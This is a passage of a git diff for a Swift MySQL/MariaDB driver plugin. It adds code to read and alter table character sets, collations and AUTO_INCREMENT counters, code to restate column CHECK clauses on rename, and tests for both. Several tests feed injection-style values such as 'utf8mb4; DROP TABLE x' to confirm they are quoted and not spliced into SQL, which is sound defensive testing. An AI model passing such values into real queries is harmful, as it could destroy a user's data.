+            ? MySQLColumnChecks.restated(newColumn.columnCheck, renaming: oldColumn.name, to: newColumn.name)
+            : nil
+        let definition = mysqlColumnDefinitionSQL(newColumn, isMariaDB: isMariaDB, columnCheck: check)
         if oldColumn.name != newColumn.name {
             return literalSpelling.respelled(
                 "ALTER TABLE \(tableName) CHANGE COLUMN \(quoteIdentifier(oldColumn.name)) \(definition)"
@@ -1253,7 +1271,10 @@ final class MySQLPluginDriver: PluginDatabaseDriver, @unchecked Sendable {
         /// replaces the whole definition, and the attribute list does not carry
         /// `GENERATED ALWAYS AS`, so moving a generated column with it dropped the expression and
         /// left a plain column of stored defaults behind.
-        let definition = mysqlColumnDefinitionSQL(column, isMariaDB: flavor.isMariaDB)
+        let isMariaDB = flavor.isMariaDB
+        let definition = mysqlColumnDefinitionSQL(
+            column, isMariaDB: isMariaDB, columnCheck: isMariaDB ? column.columnCheck : nil
+        )
         return literalSpelling.respelled("ALTER TABLE \(tableName) MODIFY COLUMN \(definition) \(position)")
     }
 
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLTableOptions.swift b/apple/Plugins/MySQLDriverPlugin/MySQLTableOptions.swift
new file mode 100644
index 0000000000..4835cc9544
--- /dev/null
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLTableOptions.swift
@@ -0,0 +1,186 @@
+//
+//  MySQLTableOptions.swift
+//  MySQLDriverPlugin
+//
+//  A table's character set, collation and AUTO_INCREMENT counter, the server's catalog of character
+//  sets, collations and engines, and the ALTER TABLE that changes them.
+//
+
+import Foundation
+import TableProMySQLCore
+import TableProPluginKit
+
+internal struct MySQLCharsetDefault: Equatable {
+    let charset: String
+    let defaultCollation: String
+    let description: String?
+}
+
+internal struct MySQLCollationEntry: Equatable {
+    let collation: String
+    let charset: String
+}
+
+internal struct MySQLStorageEngine: Equatable {
+    let name: String
+    let isDefault: Bool
+}
+
+/// One `information_schema.TABLES` row as `MySQLTableOptions.tableQuery` reads it.
+internal struct MySQLTableOptionsRow: Equatable {
+    let type: String
+    let collation: String?
+    let autoIncrement: UInt64?
+    let hasAutoIncrementColumn: Bool
+
+    /// MariaDB 11.4 lists a session's temporary table as `TEMPORARY` beside the base table it hides.
+    static func row(named table: String, in rows: [[PluginCellValue]]) -> MySQLTableOptionsRow? {
+        let permanent = rows.filter { $0[safe: 1]?.asText?.uppercased() != "TEMPORARY" }
+        guard let row = MySQLTableStatusRow.row(named: table, in: permanent),
+              let type = row[safe: 1]?.asText
+        else { return nil }
+        return MySQLTableOptionsRow(
+            type: type.uppercased(),
+            collation: row[safe: 2]?.asText?.nilIfEmpty,
+            autoIncrement: row[safe: 3]?.asText.flatMap { UInt64($0) },
+            hasAutoIncrementColumn: (row[safe: 4]?.asText.flatMap { Int($0) } ?? 0) > 0
+        )
+    }
+
+    // A view fails ALTER TABLE with ERROR 1347, and a sequence has no text column or counter.
+    var takesTableOptions: Bool {
+        type == "BASE TABLE" || type == "SYSTEM VERSIONED"
+    }
+}
+
+internal enum MySQLTableOptions {
+    // TiDB needs FORCE to lower the counter and OceanBase is unmeasured, so both read the catalog only.
+    static func writesOptions(flavor: MySQLServerFlavor) -> Bool {
+        flavor == .mysql || flavor == .mariadb
+    }
+
+    static func readsCatalog(flavor: MySQLServerFlavor) -> Bool {
+        !flavor.isDatabend
+    }
+
+    /// A default change leaves existing columns on their own character set; a convert rewrites every text
+    /// column. Clauses join with commas, so one statement carries either one with the counter.
+    static func statement(qualifiedTable: String, change: PluginTableOptionsChange) -> String? {
+        let characterSet = change.characterSet?.nilIfEmpty.map(mysqlCharsetName)
+        let collation = change.collation?.nilIfEmpty.map(mysqlCharsetName)
+        var clauses: [String] = []
+        if change.convertsColumns {
+            guard let characterSet else { return nil }
+            clauses.append("CONVERT TO CHARACTER SET \(characterSet)" + (collation.map { " COLLATE \($0)" } ?? ""))
+        } else if characterSet != nil || collation != nil {
+            let parts = [
+                characterSet.map { "DEFAULT CHARACTER SET = \($0)" },
+                collation.map { "COLLATE = \($0)" }
+            ]
+            clauses.append(parts.compactMap { $0 }.joined(separator: " "))
+        }
+        if let autoIncrement = change.autoIncrement {
+            clauses.append("AUTO_INCREMENT = \(autoIncrement)")
+        }
+        guard !clauses.isEmpty else { return nil }
+        return "ALTER TABLE \(qualifiedTable) \(clauses.joined(separator: ", "))"
+    }
+
+    /// `TABLE_COLLATION` changes the moment an ALTER does, unlike the statistics columns. The column count
+    /// compares names as bytes, because the catalog collates them case-insensitively.
+    static func tableQuery(schema: String, table: String) -> String {
+        let schemaLiteral = mysqlEscapeStringLiteral(schema)
+        let tableLiteral = mysqlEscapeStringLiteral(table)
+        return """
+            SELECT t.TABLE_NAME, t.TABLE_TYPE, t.TABLE_COLLATION, t.AUTO_INCREMENT,
+                (SELECT COUNT(*) FROM information_schema.COLUMNS c
+                    WHERE c.TABLE_SCHEMA = '\(schemaLiteral)' AND c.TABLE_NAME = '\(tableLiteral)'
+                        AND CAST(c.TABLE_NAME AS BINARY) = CAST(t.TABLE_NAME AS BINARY)
+                        AND c.EXTRA LIKE '%auto_increment%')
+            FROM information_schema.TABLES t
+            WHERE t.TABLE_SCHEMA = '\(schemaLiteral)' AND t.TABLE_NAME = '\(tableLiteral)'
+            """
+    }
+
+    static func schemaDefaultsQuery(schema: String) -> String {
+        """
+        SELECT SCHEMA_NAME, DEFAULT_CHARACTER_SET_NAME, DEFAULT_COLLATION_NAME
+        FROM information_schema.SCHEMATA
+        WHERE SCHEMA_NAME = '\(mysqlEscapeStringLiteral(schema))'
+        """
+    }
+
+    /// No character set name holds an underscore, so a collation's prefix names its character set. MariaDB
+    /// 10.10+ reports the full `utf8mb4_uca1400_ai_ci`, which `COLLATIONS` does not list.
+    static func characterSet(ofCollation collation: String?) -> String? {
+        guard let collation = collation?.nilIfEmpty else { return nil }
+        return collation.split(separator: "_", maxSplits: 1).first.map(String.init)
+    }
+
+    /// The value the next row takes. MySQL 8 caches `TABLES.AUTO_INCREMENT` for up to a day, so it reads
+    /// the `SHOW CREATE TABLE` options, which omit the clause when the next value is 1. An options line
+    /// without `ENGINE=` was printed under `NO_TABLE_OPTIONS` and says nothing, so the catalog answers.
+    static func counter(
+        row: MySQLTableOptionsRow,
+        createTableOptions: [String: String]?
+    ) -> UInt64? {
+        guard row.hasAutoIncrementColumn else { return nil }
+        if let options = createTableOptions, options["ENGINE"] != nil {
+            return options["AUTO_INCREMENT"].flatMap { UInt64($0) } ?? 1
+        }
+        return row.autoIncrement ?? 1
+    }
+
+    static func tableOptions(row: MySQLTableOptionsRow, createTableOptions: [String: String]?) -> PluginTableOptions? {
+        guard row.takesTableOptions else { return nil }
+        return PluginTableOptions(
+            characterSet: characterSet(ofCollation: row.collation),
+            collation: row.collation,
+            autoIncrement: counter(row: row, createTableOptions: createTableOptions)
+        )
+    }
+
+    static func schemaDefaults(named schema: String, in rows: [[PluginCellValue]]) -> PluginTableOptions? {
+        guard let row = MySQLTableStatusRow.row(named: schema, in: rows) ?? (rows.count == 1 ? rows.first : nil)
+        else { return nil }
+        let collation = row[safe: 2]?.asText?.nilIfEmpty
+        let characterSet = row[safe: 1]?.asText?.nilIfEmpty ?? characterSet(ofCollation: collation)
+        guard characterSet != nil || collation != nil else { return nil }
+        return PluginTableOptions(characterSet: characterSet, collation: collation)
+    }
+
+    static func engines(fromRows rows: [[PluginCellValue]]) -> [MySQLStorageEngine] {
+        rows.compactMap { row -> MySQLStorageEngine? in
+            guard let name = row[safe: 0]?.asText?.nilIfEmpty,
+                  let support = row[safe: 1]?.asText?.uppercased(),
+                  support == "YES" || support == "DEFAULT"
+            else { return nil }
+            return MySQLStorageEngine(name: name, isDefault: support == "DEFAULT")
+        }
+        .sorted { $0.name.localizedCaseInsensitiveCompare($1.name) == .orderedAscending }
+    }
+
+    /// Each character set with the collations listed for it, its default always among them.
+    static func catalog(
+        characterSets: [MySQLCharsetDefault],
+        collations: [MySQLCollationEntry],
+        engines: [MySQLStorageEngine]
+    ) -> PluginTableOptionsCatalog {
+        let collationsByCharset = Dictionary(grouping: collations, by: \.charset)
+        let sets = characterSets.map { entry -> PluginCharacterSet in
+            var names = Set((collationsByCharset[entry.charset] ?? []).map(\.collation))
+            names.insert(entry.defaultCollation)
+            return PluginCharacterSet(
+                name: entry.charset,
+                defaultCollation: entry.defaultCollation,
+                collations: names.sorted(),
+                description: entry.description
+            )
+        }
+        return PluginTableOptionsCatalog(
+            characterSets: sets,
+            engines: engines.map(\.name),
+            defaultEngine: engines.first(where: \.isDefault)?.name
+        )
+    }
+}
diff --git a/apple/Plugins/MySQLDriverTests/MySQLColumnChecksTests.swift b/apple/Plugins/MySQLDriverTests/MySQLColumnChecksTests.swift
new file mode 100644
index 0000000000..311b7d71c5
--- /dev/null
+++ b/apple/Plugins/MySQLDriverTests/MySQLColumnChecksTests.swift
@@ -0,0 +1,213 @@
+//
+//  MySQLColumnChecksTests.swift
+//  TableProTests
+//
+//  MariaDB drops a column's own CHECK on any MODIFY that does not restate it, the json_valid check
+//  on a JSON column included.
+//
+
+import Foundation
+import TableProMySQLCore
+import TableProPluginKit
+import Testing
+
+struct MySQLColumnChecksTests {
+    /// MariaDB 11.4's own statement after `CHANGE COLUMN n m ...`: the constraint is still named `n` in the
+    /// catalog, while the clause and the line say `m`.
+    private let createTable = """
+        CREATE TABLE `implA_c` (
+          `id` int(11) NOT NULL,
+          `j` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL CHECK (json_valid(`j`)),
+          `m` int(11) DEFAULT NULL CHECK (`m` > 0),
+          `a` int(11) DEFAULT NULL,
+          `b` int(11) DEFAULT NULL CHECK (`b` > `a`),
+          `g` int(11) GENERATED ALWAYS AS (`a` + 1) VIRTUAL CHECK (`g` > 0),
+          PRIMARY KEY (`id`),
+          CONSTRAINT `tbl` CHECK (`a` < 100)
+        ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci
+        """
+
+    private func column(_ name: String, _ dataType: String = "INT", check: String? = nil) -> PluginColumnDefinition {
+        PluginColumnDefinition(
+            name: name,
+            dataType: dataType,
+            generationExpression: nil,
+            generationKind: nil,
+            ddlSpelling: nil,
+            ddlDefault: nil,
+            ddlGenerationExpression: nil,
+            ddlCollation: nil,
+            columnCheck: check
+        )
+    }
+
+    // MARK: - Placement
+
+    @Test("Each clause goes to the column whose line ends with it, whatever the constraint is named")
+    func clausesArePlacedByLine() {
+        let placed = MySQLColumnChecks.place(
+            clauses: ["`b` > `a`", "`g` > 0", "json_valid(`j`)", "`m` > 0"],
+            columns: ["id", "j", "m", "a", "b", "g"],
+            createTable: createTable
+        )
+        #expect(placed == ["j": "json_valid(`j`)", "m": "`m` > 0", "b": "`b` > `a`", "g": "`g` > 0"])
+    }
+
+    @Test("Under ANSI_QUOTES the names and the clauses are double-quoted")
+    func ansiQuotesArePlaced() {
+        let ansi = createTable.replacingOccurrences(of: "`", with: "\"")
+        let placed = MySQLColumnChecks.place(
+            clauses: ["\"m\" > 0", "json_valid(\"j\")"],
+            columns: ["id", "j", "m"],
+            createTable: ansi
+        )
+        #expect(placed == ["j": "json_valid(\"j\")", "m": "\"m\" > 0"])
+    }
+
+    @Test("A clause no column line ends with is placed nowhere")
+    func unplacedClauseStaysUnplaced() {
+        let placed = MySQLColumnChecks.place(clauses: ["`zz` > 0"], columns: ["id", "m"], createTable: createTable)
+        #expect(placed.isEmpty)
+    }
+
+    @Test("A table-level constraint is never a column's")
+    func tableLevelCheckIsNotPlaced() {
+        let placed = MySQLColumnChecks.place(clauses: ["`a` < 100"], columns: ["a"], createTable: createTable)
+        #expect(placed.isEmpty)
+    }
+
+    @Test("The read asks for column-level checks only")
+    func clausesQueryFiltersLevel() {
+        let sql = MySQLColumnChecks.clausesQuery(schema: "shop", table: "orders")
+        #expect(sql.contains("CONSTRAINT_SCHEMA = 'shop'"))
+        #expect(sql.contains("TABLE_NAME = 'orders'"))
+        #expect(sql.contains("LEVEL = 'Column'"))
+    }
+
+    // MARK: - Restatement
+
+    @Test("A rename rewrites the column's own name in both quote styles")
+    func renameRewritesOwnName() {
+        #expect(MySQLColumnChecks.restated("`n` > 0 AND `n` < 10", renaming: "n", to: "m") == "`m` > 0 AND `m` < 10")
+        #expect(MySQLColumnChecks.restated("\"n\" > 0", renaming: "n", to: "m") == "\"m\" > 0")
+        #expect(MySQLColumnChecks.restated("`nn` > `n`", renaming: "n", to: "m") == "`nn` > `m`")
+    }
+
+    @Test("A rename leaves string literals as written, a JSON path that spells the name included")
+    func renameKeepsStringLiterals() {
+        #expect(MySQLColumnChecks.restated(#"json_extract(`n`, '$."n"') IS NOT NULL"#, renaming: "n", to: "payload")
+            == #"json_extract(`payload`, '$."n"') IS NOT NULL"#)
+        #expect(MySQLColumnChecks.restated("`n` <> '`n`'", renaming: "n", to: "m") == "`m` <> '`n`'")
+        #expect(MySQLColumnChecks.restated(#"`n` <> 'it''s `n`' AND `n` <> 'it\'s `n`'"#, renaming: "n", to: "m")
+            == #"`m` <> 'it''s `n`' AND `m` <> 'it\'s `n`'"#)
+        #expect(MySQLColumnChecks.restated(#""n" <> '"n"'"#, renaming: "n", to: "m") == #""m" <> '"n"'"#)
+    }
+
+    @Test("A rename rewrites whole identifiers only, never one holding the name or an escaped quote")
+    func renameMatchesWholeIdentifiers() {
+        #expect(MySQLColumnChecks.restated("`nn` > `n` AND `n_x` > 0", renaming: "n", to: "m") == "`nn` > `m` AND `n_x` > 0")
+        #expect(MySQLColumnChecks.restated("`x``n` > `n`", renaming: "n", to: "m") == "`x``n` > `m`")
+        #expect(MySQLColumnChecks.restated("`n``` > 0", renaming: "n", to: "m") == "`n``` > 0")
+        #expect(MySQLColumnChecks.restated(#""x""n" > "n""#, renaming: "n", to: "m") == #""x""n" > "m""#)
+    }
+
+    @Test("A rename matches the name without regard to case, and quotes a name holding a backtick")
+    func renameIgnoresCaseAndEscapesTheNewName() {
+        #expect(MySQLColumnChecks.restated("`N` > 0", renaming: "n", to: "m") == "`m` > 0")
+        #expect(MySQLColumnChecks.restated("`a``b` > 0", renaming: "a`b", to: "c`d") == "`c``d` > 0")
+    }
+
+    @Test("Without a rename the clause is restated as read")
+    func noRenameKeepsTheClause() {
+        #expect(MySQLColumnChecks.restated("json_valid(`j`)", renaming: "j", to: "j") == "json_valid(`j`)")
+        #expect(MySQLColumnChecks.restated(nil, renaming: "j", to: "k") == nil)
+        #expect(MySQLColumnChecks.restated("", renaming: "j", to: "k") == nil)
+    }
+
+    @Test("The check is the last clause on the column, after the comment")
+    func checkIsRestatedLast() {
+        let definition = PluginColumnDefinition(name: "n", dataType: "INT", comment: "positive")
+        #expect(mysqlColumnDefinitionSQL(definition, isMariaDB: true, columnCheck: "`n` > 0")
+            == "`n` INT NULL COMMENT 'positive' CHECK (`n` > 0)")
+    }
+
+    @Test("A JSON column's json_valid check is restated with its charset")
+    func jsonValidIsRestated() {
+        let definition = PluginColumnDefinition(
+            name: "j", dataType: "LONGTEXT", charset: "utf8mb4", collation: "utf8mb4_bin"
+        )
+        #expect(mysqlColumnDefinitionSQL(definition, isMariaDB: true, columnCheck: "json_valid(`j`)")
+            == "`j` LONGTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL CHECK (json_valid(`j`))")
+    }
+
+    @Test("A generated column restates its check after the storage keyword")
+    func generatedColumnCheck() {
+        let definition = PluginColumnDefinition(
+            name: "g", dataType: "INT", generationExpression: "`a` + 1", generationKind: .virtual
+        )
+        #expect(mysqlColumnDefinitionSQL(definition, isMariaDB: true, columnCheck: "`g` > 0")
+            == "`g` INT GENERATED ALWAYS AS (`a` + 1) VIRTUAL CHECK (`g` > 0)")
+    }
+
+    @Test("A MySQL driver never restates a column check, which MySQL keeps as a table constraint")
+    func mysqlDoesNotRestate() throws {
+        let driver = MySQLPluginDriver(config: DriverConnectionConfig(
+            host: "", port: 0, username: "", password: "", database: ""
+        ))
+        let sql = try #require(driver.generateModifyColumnSQL(
+            table: "t", oldColumn: column("n", check: "`n` > 0"), newColumn: column("n", "BIGINT", check: "`n` > 0")
+        ))
+        #expect(!sql.contains("CHECK"))
+    }
+
+    // MARK: - Refusal
+
+    @Test("A restated check naming another column this save renames is refused")
+    func checkNamingRenamedColumnIsRefused() throws {
+        let refusal = try #require(MySQLColumnChecks.renameRefusal(operations: [
+            .modifyColumn(old: column("a"), new: column("a2")),
+            .modifyColumn(old: column("b", check: "`b` > `a`"), new: column("b", "BIGINT", check: "`b` > `a`"))
+        ]))
+        #expect(refusal.contains("column b names column a"))
+    }
+
+    @Test("Under ANSI_QUOTES the renamed name is found in double quotes too")
+    func ansiQuotedNameIsRefused() {
+        #expect(MySQLColumnChecks.renameRefusal(operations: [
+            .modifyColumn(old: column("b", check: "\"b\" > \"a\""), new: column("b", "BIGINT", check: "\"b\" > \"a\"")),
+            .modifyColumn(old: column("a"), new: column("a2"))
+        ]) != nil)
+    }
+
+    @Test("A column renamed with its own check is restated under the new name, not refused")
+    func ownRenameIsAllowed() {
+        #expect(MySQLColumnChecks.renameRefusal(operations: [
+            .modifyColumn(old: column("n", check: "`n` > 0"), new: column("m", check: "`n` > 0"))
+        ]) == nil)
+    }
+
+    @Test("A rename next to a check that does not name it is allowed")
+    func unrelatedRenameIsAllowed() {
+        #expect(MySQLColumnChecks.renameRefusal(operations: [
+            .modifyColumn(old: column("c"), new: column("c2")),
+            .modifyColumn(old: column("b", check: "`b` > `a`"), new: column("b", "BIGINT", check: "`b` > `a`")),
+            .addColumn(column("z"))
+        ]) == nil)
+    }
+
+    @Test("A string literal spelling a renamed column's name does not name the column")
+    func literalSpellingARenamedColumnIsAllowed() {
+        #expect(MySQLColumnChecks.renameRefusal(operations: [
+            .modifyColumn(old: column("a"), new: column("a2")),
+            .modifyColumn(old: column("b", check: "`b` <> '`a`'"), new: column("b", "BIGINT", check: "`b` <> '`a`'"))
+        ]) == nil)
+    }
+
+    @Test("A column with no check of its own is never refused")
+    func columnWithoutCheckIsAllowed() {
+        #expect(MySQLColumnChecks.renameRefusal(operations: [
+            .modifyColumn(old: column("a"), new: column("a2")),
+            .modifyColumn(old: column("b"), new: column("b", "BIGINT"))
+        ]) == nil)
+    }
+}
diff --git a/apple/Plugins/MySQLDriverTests/MySQLColumnDefinitionSQLTests.swift b/apple/Plugins/MySQLDriverTests/MySQLColumnDefinitionSQLTests.swift
index 958e27f7d0..b10038bb3a 100644
--- a/apple/Plugins/MySQLDriverTests/MySQLColumnDefinitionSQLTests.swift
+++ b/apple/Plugins/MySQLDriverTests/MySQLColumnDefinitionSQLTests.swift
@@ -553,25 +553,86 @@ struct MySQLColumnDefinitionSQLTests {
 
     // MARK: - Other Attributes
 
-    @Test("Charset, collation, unsigned, and auto increment all render")
+    @Test("Unsigned and auto increment render on a numeric column")
     func attributesRender() {
         let column = PluginColumnDefinition(
             name: "id",
             dataType: "BIGINT",
             isNullable: false,
             autoIncrement: true,
-            unsigned: true,
-            charset: "utf8mb4",
-            collation: "utf8mb4_general_ci"
+            unsigned: true
         )
 
+        #expect(mysqlColumnDefinitionSQL(column) == "`id` BIGINT UNSIGNED NOT NULL AUTO_INCREMENT")
+    }
+
+    @Test("A text column writes its character set and collation")
+    func textColumnWritesCharset() {
+        let column = PluginColumnDefinition(
+            name: "name", dataType: "VARCHAR(20)", charset: "latin1", collation: "latin1_swedish_ci"
+        )
+        #expect(mysqlColumnDefinitionSQL(column)
+            == "`name` VARCHAR(20) CHARACTER SET latin1 COLLATE latin1_swedish_ci NULL")
+    }
+
+    /// Measured on MySQL 8.4 and MariaDB 11.4: `MODIFY name INT CHARACTER SET latin1 ...` is ERROR 1064,
+    /// and a type change kept the old text type's charset.
+    @Test("A type that takes no character set writes neither clause", arguments: [
+        "INT", "BIGINT UNSIGNED", "VARBINARY(32)", "BINARY(16)", "BLOB", "JSON", "DATETIME(6)", "GEOMETRY",
+        "DECIMAL(10,2)", "CHAR BYTE", "LONG VARBINARY", "UUID"
+    ])
+    func nonTextTypeDropsCharset(dataType: String) {
+        let column = PluginColumnDefinition(
+            name: "c", dataType: dataType, charset: "latin1", collation: "latin1_swedish_ci"
+        )
+        let sql = mysqlColumnDefinitionSQL(column)
+        #expect(!sql.contains("CHARACTER SET"))
+        #expect(!sql.contains("COLLATE"))
+    }
+
+    @Test("Every text spelling writes both clauses", arguments: [
+        "CHAR(1)", "VARCHAR (64)", "varchar(64)", "CHARACTER VARYING(10)", "CHAR VARYING(10)", "CHARACTER(3)",
+        "TINYTEXT", "TEXT", "MEDIUMTEXT", "LONGTEXT", "LONG", "LONG VARCHAR", "ENUM('a','b')", "SET('x')",
+        "ENUM ('a')", "VARCHAR(10) BINARY"
+    ])
+    func textSpellingsWriteCharset(dataType: String) {
+        let column = PluginColumnDefinition(name: "c", dataType: dataType, charset: "latin1", collation: "latin1_bin")
         let sql = mysqlColumnDefinitionSQL(column)
-        #expect(sql.contains("`id` BIGINT"))
-        #expect(sql.contains("UNSIGNED"))
-        #expect(sql.contains("CHARACTER SET utf8mb4"))
-        #expect(sql.contains("COLLATE utf8mb4_general_ci"))
-        #expect(sql.contains("NOT NULL"))
-        #expect(sql.contains("AUTO_INCREMENT"))
+        #expect(sql.contains(" CHARACTER SET latin1 COLLATE latin1_bin "))
+    }
+
+    /// Measured: `NVARCHAR(10) CHARACTER SET utf8mb3` is ERROR 1064 on both servers, while
+    /// `NVARCHAR(10) COLLATE utf8mb3_bin` is accepted.
+    @Test("A national spelling writes the collation alone", arguments: [
+        "NVARCHAR(10)", "NCHAR(5)", "NATIONAL VARCHAR(10)", "NATIONAL CHAR(3)", "NCHAR VARCHAR(4)",
+        "NATIONAL CHARACTER VARYING(10)"
+    ])
+    func nationalSpellingWritesCollationOnly(dataType: String) {
+        let column = PluginColumnDefinition(name: "c", dataType: dataType, charset: "utf8mb3", collation: "utf8mb3_bin")
+        let sql = mysqlColumnDefinitionSQL(column)
+        #expect(!sql.contains("CHARACTER SET"))
+        #expect(sql.contains(" COLLATE utf8mb3_bin "))
+    }
+
+    @Test("A generated column of a numeric type writes no character set before its expression")
+    func generatedNumericColumnDropsCharset() {
+        let column = PluginColumnDefinition(
+            name: "total",
+            dataType: "INT",
+            charset: "latin1",
+            collation: "latin1_bin",
+            generationExpression: "`a` + 1",
+            generationKind: .stored
+        )
+        #expect(mysqlColumnDefinitionSQL(column) == "`total` INT GENERATED ALWAYS AS (`a` + 1) STORED")
+    }
+
+    @Test("A character set name no catalog lists is backticked, never spliced in bare")
+    func unsafeCharsetIsQuoted() {
+        let column = PluginColumnDefinition(
+            name: "c", dataType: "VARCHAR(5)", charset: "latin1 NOT NULL", collation: "latin1_bin"
+        )
+        #expect(mysqlColumnDefinitionSQL(column).contains("CHARACTER SET `latin1 NOT NULL` COLLATE latin1_bin"))
     }
 
     @Test("A backtick in a column name is escaped")
diff --git a/apple/Plugins/MySQLDriverTests/MySQLCreateTableTests.swift b/apple/Plugins/MySQLDriverTests/MySQLCreateTableTests.swift
index ae149354c3..e9a01fa605 100644
--- a/apple/Plugins/MySQLDriverTests/MySQLCreateTableTests.swift
+++ b/apple/Plugins/MySQLDriverTests/MySQLCreateTableTests.swift
@@ -81,6 +81,19 @@ struct MySQLCreateTableTests {
         #expect(sql.contains("COLLATE=latin1_swedish_ci"))
     }
 
+    @Test("A table character set no catalog lists is backticked rather than spliced in")
+    func unsafeTableCharsetIsQuoted() {
+        let definition = PluginCreateTableDefinition(
+            tableName: "t",
+            columns: [PluginColumnDefinition(name: "id", dataType: "INT")],
+            charset: "latin1 ENGINE=x",
+            collation: "latin1_bin"
+        )
+
+        let sql = mysqlCreateTableSQL(definition: definition, isMariaDB: false)!
+        #expect(sql.contains("DEFAULT CHARSET=`latin1 ENGINE=x` COLLATE=latin1_bin"))
+    }
+
     @Test("IF NOT EXISTS flag")
     func ifNotExists() {
         let definition = PluginCreateTableDefinition(
diff --git a/apple/Plugins/MySQLDriverTests/MySQLTableOptionsTests.swift b/apple/Plugins/MySQLDriverTests/MySQLTableOptionsTests.swift
new file mode 100644
index 0000000000..92949b6748
--- /dev/null
+++ b/apple/Plugins/MySQLDriverTests/MySQLTableOptionsTests.swift
@@ -0,0 +1,284 @@
+//
+//  MySQLTableOptionsTests.swift
+//  TableProTests
+//
+
+import TableProMySQLCore
+import TableProPluginKit
+import Testing
+
+struct MySQLTableOptionsTests {
+    private func statement(_ change: PluginTableOptionsChange) -> String? {
+        MySQLTableOptions.statement(qualifiedTable: "`shop`.`orders`", change: change)
+    }
+
+    private func row(_ cells: String?...) -> [PluginCellValue] {
+        cells.map(PluginCellValue.fromOptional)
+    }
+
+    private func driver(variant: String?) -> MySQLPluginDriver {
+        MySQLPluginDriver(config: DriverConnectionConfig(
+            host: "", port: 0, username: "", password: "", database: "",
+            additionalFields: variant.map { ["driverVariant": $0] } ?? [:]
+        ))
+    }
+
+    // MARK: - Statement
+
+    @Test("A default change names both clauses")
+    func defaultChange() {
+        #expect(statement(PluginTableOptionsChange(characterSet: "utf8mb4", collation: "utf8mb4_bin"))
+            == "ALTER TABLE `shop`.`orders` DEFAULT CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin")
+    }
+
+    @Test("A convert rewrites the columns with CONVERT TO")
+    func convert() {
+        let change = PluginTableOptionsChange(characterSet: "latin1", collation: "latin1_bin", convertsColumns: true)
+        #expect(statement(change) == "ALTER TABLE `shop`.`orders` CONVERT TO CHARACTER SET latin1 COLLATE latin1_bin")
+    }
+
+    @Test("A convert with no character set cannot be spelled")
+    func convertNeedsACharacterSet() {
+        #expect(statement(PluginTableOptionsChange(collation: "latin1_bin", convertsColumns: true)) == nil)
+    }
+
+    @Test("The counter alone is its own statement")
+    func counterAlone() {
+        #expect(statement(PluginTableOptionsChange(autoIncrement: 500)) == "ALTER TABLE `shop`.`orders` AUTO_INCREMENT = 500")
+    }
+
+    @Test("A default change and the counter share one statement, joined by a comma")
+    func defaultChangeWithCounter() {
+        let change = PluginTableOptionsChange(characterSet: "latin1", collation: "latin1_bin", autoIncrement: 500)
+        #expect(statement(change)
+            == "ALTER TABLE `shop`.`orders` DEFAULT CHARACTER SET = latin1 COLLATE = latin1_bin, AUTO_INCREMENT = 500")
+    }
+
+    @Test("A convert and the counter share one statement")
+    func convertWithCounter() {
+        let change = PluginTableOptionsChange(
+            characterSet: "utf8mb4", collation: "utf8mb4_bin", convertsColumns: true, autoIncrement: 7
+        )
+        #expect(statement(change)
+            == "ALTER TABLE `shop`.`orders` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_bin, AUTO_INCREMENT = 7")
+    }
+
+    @Test("A change that names nothing is no statement")
+    func emptyChange() {
+        #expect(statement(PluginTableOptionsChange()) == nil)
+        #expect(statement(PluginTableOptionsChange(characterSet: "", collation: "")) == nil)
+    }
+
+    @Test("A name the catalog could not have listed is backticked, never spliced in bare")
+    func unsafeNameIsQuoted() {
+        let change = PluginTableOptionsChange(characterSet: "utf8mb4; DROP TABLE x", collation: "a`b")
+        #expect(statement(change)
+            == "ALTER TABLE `shop`.`orders` DEFAULT CHARACTER SET = `utf8mb4; DROP TABLE x` COLLATE = `a``b`")
+    }
+
+    // MARK: - Flavors
+
+    @Test("Only MySQL and MariaDB write table options")
+    func writingFlavors() {
+        #expect(MySQLTableOptions.writesOptions(flavor: .mysql))
+        #expect(MySQLTableOptions.writesOptions(flavor: .mariadb))
+        #expect(!MySQLTableOptions.writesOptions(flavor: .tidb(version: nil)))
+        #expect(!MySQLTableOptions.writesOptions(flavor: .oceanbase(version: nil)))
+        #expect(!MySQLTableOptions.writesOptions(flavor: .databend))
+    }
+
+    @Test("Every flavor but Databend reads the catalog")
+    func catalogFlavors() {
+        #expect(MySQLTableOptions.readsCatalog(flavor: .mysql))
+        #expect(MySQLTableOptions.readsCatalog(flavor: .mariadb))
+        #expect(MySQLTableOptions.readsCatalog(flavor: .tidb(version: nil)))
+        #expect(MySQLTableOptions.readsCatalog(flavor: .oceanbase(version: nil)))
+        #expect(!MySQLTableOptions.readsCatalog(flavor: .databend))
+    }
+
+    @Test("The driver qualifies the table, and answers nil on OceanBase and Databend")
+    func driverStatementFollowsTheFlavor() {
+        let change = PluginTableOptionsChange(autoIncrement: 10)
+        #expect(driver(variant: nil).tableOptionsStatement(table: "orders", schema: "shop", change: change)
+            == "ALTER TABLE `shop`.`orders` AUTO_INCREMENT = 10")
+        #expect(driver(variant: nil).tableOptionsStatement(table: "orders", schema: nil, change: change)
+            == "ALTER TABLE `orders` AUTO_INCREMENT = 10")
+        #expect(driver(variant: "OceanBase").tableOptionsStatement(table: "orders", schema: "shop", change: change) == nil)
+        #expect(driver(variant: "Databend").tableOptionsStatement(table: "orders", schema: "shop", change: change) == nil)
+    }
+
+    // MARK: - Reading a table
+
+    @Test("The table read filters by schema and name and counts AUTO_INCREMENT columns by exact name")
+    func tableQueryShape() {
+        let sql = MySQLTableOptions.tableQuery(schema: "sh'op", table: "orders")
+        #expect(sql.contains("t.TABLE_SCHEMA = 'sh''op' AND t.TABLE_NAME = 'orders'"))
+        #expect(sql.contains("t.TABLE_COLLATION, t.AUTO_INCREMENT"))
+        #expect(sql.contains("CAST(c.TABLE_NAME AS BINARY) = CAST(t.TABLE_NAME AS BINARY)"))
+        #expect(sql.contains("c.EXTRA LIKE '%auto_increment%'"))
+    }
+
+    @Test("A session's temporary row is skipped for the base table it hides")
+    func temporaryRowIsSkipped() throws {
+        let rows = [
+            row("orders", "TEMPORARY", "utf8mb4_bin", nil, "0"),
+            row("orders", "BASE TABLE", "latin1_swedish_ci", "4", "1")
+        ]
+        let parsed = try #require(MySQLTableOptionsRow.row(named: "orders", in: rows))
